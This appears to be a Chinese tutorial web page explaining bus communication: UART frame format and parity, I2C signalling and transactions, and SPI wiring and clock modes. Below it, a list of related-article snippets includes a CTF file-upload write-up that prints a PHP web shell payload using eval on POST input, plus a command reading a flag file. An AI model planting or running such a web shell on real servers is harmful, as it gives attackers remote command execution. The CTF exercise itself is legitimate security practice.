总线、UART、IIC、SPI

一图流

总线

概念

        连接多个部件的信息传输线,是各部件共享的传输介质

类型

  • 片内总线:连接处理器内核和外设的总线,在芯片内部

  • 片外总线:连接芯片和其他芯片或者模块的总线

总线的通信

总线通信的方式

串行通信

  • 数据按位顺序传输,同一时刻只能收或发1bit位信息,因此只用1根信号线

  • 优点:占用引脚资源少

  • 缺点:速度相对较慢

并行通信

  • 数据各个位同时传输,同一时刻可以收或发多个bit位的信息,因此需要多根信号线

  • 优点:速度快

  • 缺点:占用引脚资源多

通信的类型

  • 单工:只能收或者只能发,只有一条单向管道

  • 半双工:可以收,也可以发,但不能同时收发,只有一条双向管道

  • 全双工:同一时刻既接收,又发送,有两条相反的管道

同步通信和异步通信

  • 同步通信

    • 一般情况下,同步通信指的是通信双方根据同步信号进行通信的方式。比如通信双方会存在一个时钟线用于传输时钟信号,大家根据时钟信号的变化进行通信

  • 异步通信

    • 指数据传输速度匹配依赖于通信双方自己独立的系统 时钟,大家约定好通信的速度。异步通信不需要同步信号,但是并不是说通信的过程不同步

不同种类的串口有不同的通信类型

  • UART属于串行全双工异步通信

  • IIC串行半双工同步通信

  • SPI串行全双工同步通信

UART

概念

  • UART(Universal asynchronous receiver/transmitter):通用异步接收发送器

  • 串口用于两个模块之间进行异步全双工串行通信

特点

  • 两个芯片各有一个RXD、一个TXD、一个GND接口,一个芯片的RXD连接另一个芯片的TXD

    • RXD:数据接收引脚

    • TXD:数据发送引脚

    • GND:接地引脚

  • 这抗干扰能力弱,旁边有干扰源就会对收发的电平数据造成干扰,进而导致数据失真

  • 一般适用于一块板子上面的两个芯片之间进行数据传输

由于数异步通信,所以需要再发送数据前先约定传输速度——波特率(bit/s)

串口数据帧格式

        由于双方时钟不一样,就算提前约定好了波特率,随着传输数据量的增加,双方数据收发就会累计一定的误差,为了规避这个误差,我们需要对传输收发的数据进行约定,规范好收发的格式来消除误差

数据帧

  • 空闲位:当不进行数据收发时,数据线处于高电平状态

  • 起始位:1bit 低电平 一帧数据传输的开始

  • 数据位:5-8位数据位,进行传输的数据

  • 校验位:1bit 可有可无

    • 奇校验:一帧数据传输后保证数据位和校验位1的个数是一个奇数

      • X51->0101 0001 此时校验位为0

      • 0X53->0101 0011 此时校验位为1

    • 偶校验:一帧数据传输后保证数据位和校验位1的个数是一个偶数

      • 0X51->0101 0001 此时校验位为1

      • 0X53->0101 0011 此时校验位为0

  • 停止位:1-2bit 高电平,一帧数据传输结束的标志,在停止位器件重新校准时钟,清除累计的误差

  • 一般数据格式常设置为8N1:8bit数据位,没有校验位,1bit停止位

IIC

概念

  • I2C总线是PHLIPS公司在八十年代初推出的一种串行的半双工总线,主要用于连接整体电路

  • I2C总线为两线制,只有两根双向信号线。一根是数据线SDA,另一根是 时钟线SCL

  • IIC支持多主机多从机通信和一主机多从机通信

硬件连线

  • SCL:时钟线,用于传输时钟信号

  • SDA:数据线,用于传输数据

寻找从机

  • 每一个设备都会有一个自己的从机地址,这个从机地址就是设备的ID号

  • 主机在起始信号后必须传送一个从机的地址(7位),第8位是数据的传送方向位(R/W),用“0”表示主机发送数据(W),“1”表示主机接收数据(R)

  • 总线上的每个从机都将这7位地址码与自己的地址进行比较,如果相同,则认为自己被主机寻址,根据R/W位将自己定为发送器或接收器

信号

概念

        iic总线是一种同步通信总线,也就表示通信双方的通信过程要在各种时钟信号的作用下实现:起始信号、终止信号、应答信号、非应答信号、数据接收和发送信号

起始信号

时钟线为高电平时,数据线由高电平变成低电平

终止信号

时钟线为高电平时,数据线由低电平变成高电平

数据接收和发送

  • 时钟信号为高电平期间,数据线上的数据必须保持稳定

  • 只有在时钟线上的信号为低电平期间,数据线上的高电平或低电平状态才允许变化

  • 一个时钟周期,接收方和发送发完成了一位数据的接收和发送

应答和非应答

  • 发送方在发送完数据,接收方都会反馈一个反馈信号,这个信号就是应答信号和非应答信号

  • 应答信号:接收方收到数据,继续进行下一个8bit数据的接收

  • 非应答信号:接收方接收到数据,不进行下一次数据的接收

IIC主机和从机通信过程

主机给从机发送多个字节的数据

  • 主机发送起始信号

  • 主机发送7bit从机地址+1bit写标志

  • 从机回应应答

  • 主机发送8bit从机寄存器地址

  • 从机回应应答

  • 主机发送8bit数据

  • 从机应答

  • 主机再次发送8bit数据

  • 从机应答

  • 。。。。

  • 主机发送终止信号

主机读取从机多个字节的数据

  • 主机发送起始信号

  • 主机发送7bit从机地址+1bit写标志

  • 从机回应应答

  • 主机发送8bit从机寄存器地址

  • 从机回应应答

  • 主机发起重复起始信号

  • 主机发送7bit从机地址+1bit读标志

  • 从机回应应答信号

  • 从机发送8bit数据

  • 主机回应应答信号

  • 从机发送8bit数据

  • 主机回应应答

  • 。。。。

  • 主机回应非应答信号

  • 主机发起终止信号

iic总线通信的速率

  • 100K

  • 400K

  • 1M

  • 3.4M

SPI

概念

  • SPI(Serial Peripheral interface)串行外围设备接口

  • 是一种高速的,全双工,同步的通信总线

  • 在芯片的管脚上只占用四根线,节约了芯片的管脚,为PCB的布局上节省空间,提供方便

  • SPI接口主要应用在 EEPROM,FLASH,实时时钟,AD转换器,还有数字信号处理器和数字信号解码器之间,OLED 数码管、LCD

  • SPI总线支持一主机多从机通信

接线方式

基本接线方式

  • MISO:数据输入/输出引脚,用于从模式发送数据,主模式接收数据

  • MOSI:数据输入/输出引脚,用于主模式发送数据,从模式接收数据

  • SCK:串口时钟,作为主设备的输出,从设备的输入

  • CSN:从设备选择,用来选择主/从设备

四线制

  • 一主机多从机时会使用CSN来选择从机

三线制

  • 一主机一从机时可以去掉CSN

时序分析

时钟极性

  • 时钟极性为1:空闲状态下时钟线保持高电平

  • 时钟极性为0:空闲状态下时钟线保持低电平

时钟相位

  • 以时钟极性为起始标记的每一个周期内,在第一次变化的为0,第二次变化的为1

  • 时钟相位为1:在时钟后沿进行数据采样,时钟前沿进行数据输出

  • 时钟相位为0:在时钟前沿进行数据采样,时钟后沿进行数据输出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/959107.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Postman接口测试】接口用例设计实战—以聚合数据的新闻头条接口为例

在接口测试中,精心设计测试用例是确保接口质量的关键。本文将以聚合数据的新闻头条接口(新闻详情查询)为例,深入运用多种测试用例设计方法,打造全面且细致的测试用例集。 一、等价类划分法 (一&#xff…

Frida使用指南(三)- Frida-Native-Hook

1.Process、Module、Memory基础 1.Process Process 对象代表当前被Hook的进程,能获取进程的信息,枚举模块,枚举范围等 2.Module Module 对象代表一个加载到进程的模块(例如,在 Windows 上的 DLL,或在 Linux/Android 上的 .so 文件), 能查询模块的信息,如模块的基址、名…

ChatGPT结合Excel辅助学术数据分析详细步骤分享!

目录 一.Excel在学术论文中的作用✔ 二.Excel的提示词✔ 三. 编写 Excel 命令 四. 编写宏 五. 执行复杂的任务 六. 将 ChatGPT 变成有用的 Excel 助手 一.Excel在学术论文中的作用✔ Excel作为一种广泛使用的电子表格软件,在学术论文中可以发挥多种重要作用&a…

数字化转型的核心是什么,企业该如何实施?

一、数字化转型的必要性 传统企业在推进业务创新和IT系统建设时,常采用项目式方法,虽经典但易引发“系统烟囱”与“数据孤岛”问题,困扰管理层。 数字化转型是企业战略层面的变革,其核心是利用数字化技术重构业务、流程与组织。…

力扣206题——反转链表

#题目 #代码 既然要反转,那么头结点如果不为空最后会成为尾结点,所以我们把头结点的后继指向null; 接着就是对头结点的下一个节点进行置换操作,大家可多思考一下代码

深入MapReduce——引入

引入 前面我们已经深入了HDFS的设计与实现,对于分布式系统也有了不错的理解。 但HDFS仅仅解决了海量数据存储和读写的问题。要想让数据产生价值,一定是需要从数据中挖掘出价值才行,这就需要我们拥有海量数据的计算处理能力。 下面我们还是…

.NET MAUI进行UDP通信(二)

上篇文章有写过一个简单的demo&#xff0c;本次对项目进行进一步的扩展&#xff0c;添加tabbar功能。 1.修改AppShell.xaml文件&#xff0c;如下所示&#xff1a; <?xml version"1.0" encoding"UTF-8" ?> <Shellx:Class"mauiDemo.AppShel…

SOME/IP服务接口

本系列文章将分享我在学习 SOME/IP 过程中积累的一些感悟&#xff0c;并结合 SOME/IP 的理论知识进行讲解。主要内容是对相关知识的梳理&#xff0c;并结合实际代码展示 SOME/IP 的使用&#xff0c;旨在自我复习并与大家交流。文中引用了一些例图&#xff0c;但由于未能找到原作…

大厂案例——腾讯蓝鲸DevOps类应用的设计与实践

蓝鲸体系架构图 蓝鲸CICD应用功能架构 降低DEVOPS门槛—开发者中心 CICD应用需要的后台服务 系列阅读 12306亿级流量架构分析&#xff08;史上最全&#xff09;实现电商平台从业务到架构的治理体系基于主数据驱动的数据治理什么时候需要分表分库&#xff1f;-CSDN博客

【Uniapp-Vue3】动态设置页面导航条的样式

1. 动态修改导航条标题 uni.setNavigationBarTitle({ title:"标题名称" }) 点击修改以后顶部导航栏的标题会从“主页”变为“动态标题” 2. 动态修改导航条颜色 uni.setNavigationBarColor({ backgroundColor:"颜色" }) 3. 动态添加导航加载动画 // 添加加…

ubuntu20.04安装使用direct_visual_lidar_calibration标定雷达和相机

官方链接GitHub - koide3/direct_visual_lidar_calibration: A toolbox for target-less LiDAR-camera calibration [ROS1/ROS2] 官方安装方式 Installation - direct_visual_lidar_calibration 安装依赖 sudo apt install libomp-dev libboost-all-dev libglm-dev libglfw…

C++从入门到实战(二)C++命名空间

C从入门到实战&#xff08;二&#xff09;C命名空间 前言一、C的第一个程序二、命名空间&#xff08;一&#xff09;为什么需要命名空间&#xff08;二&#xff09;定义命名空间&#xff08;三&#xff09;使用命名空间1.通过命名空间限定符&#xff1a;2.使用 using 声明&…

单片机基础模块学习——按键

一、按键原理图 当把跳线帽J5放在右侧&#xff0c;属于独立按键模式&#xff08;BTN模式&#xff09;&#xff0c;放在左侧为矩阵键盘模式&#xff08;KBD模式&#xff09; 整体结构是一端接地&#xff0c;一端接控制引脚 之前提到的都是使用了GPIO-准双向口的输出功能&#x…

数学大模型MAmmoTH:通过混合说明调整建立数学通才模型

向悦和陈文虎是该项目的主要作者。他们这个项目推出 MAmmoTH&#xff0c;这是一系列专为解决一般数学问题而定制的开源大型语言模型 (LLM)。 MAmmoTH 模型在 MathInstruct 上进行训练&#xff0c;MathInstruct 是我们精心策划的指令调整数据集。 MathInstruct 已编译 来自 13 个…

网络编程 | UDP组播通信

1、什么是组播 在上一篇博客中&#xff0c;对UDP的广播通信进行了由浅入深的总结梳理&#xff0c;本文继续对UDP的知识体系进行探讨&#xff0c;旨在将UDP的组播通信由浅入深的讲解清楚。 组播是介于单播与广播之间&#xff0c;在一个局域网内&#xff0c;将某些主机添加到组中…

如何确保Spring单例Bean在高并发环境下的安全性?

在Spring中&#xff0c;单例Bean就像是一个“公共的水杯”&#xff0c;整个应用程序中的所有线程都会共享这一个实例。在大部分情况下&#xff0c;这没什么问题&#xff0c;但如果多个线程同时想要修改这个“水杯”里的内容&#xff0c;就可能会出现问题了。 想象一下&#xff…

Jenkins下载 Maven、Allure 插件并且配置环境

文章目录 Jenkins在插件中心下载 maven、allure插件maven插件下载allure插件下载 配置maven、allure 往期推荐&#xff1a; 最新! 在 Linux上搭建Jenkins环境! Jenkins邮件通知的详细配置含邮件通知模板&#xff01; Jenkin配置企业微信通知 Jenkins在插件中心下载 maven、…

ORB-SLAM2源码学习:Initializer.cc⑧: Initializer::CheckRT检验三角化结果

前言 ORB-SLAM2源码学习&#xff1a;Initializer.cc⑦: Initializer::Triangulate特征点对的三角化_cv::svd::compute-CSDN博客 经过上面的三角化我们成功得到了三维点&#xff0c;但是经过三角化成功的三维点并不一定是有效的&#xff0c;需要筛选才能作为初始化地图点。 …

图形化数据报文转换映射工具

目录 概要整体架构流程技术名词解释技术细节小结 概要 在当今数字化时代&#xff0c;数据的处理和分析是企业、科研机构以及各类组织日常运营的核心环节。数据来源广泛&#xff0c;格式多样&#xff0c;常见的数据格式包括XML&#xff08;可扩展标记语言&#xff09;和JSON&a…

[ACTF2020 新生赛]Upload1

题目 以为是前端验证&#xff0c;试了一下PHP传不上去 可以创建一个1.phtml文件。对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。将以下代码写入该文件中 <script languagephp>eval($_POST[md]);</script><script languagephp>system(cat /flag);&l…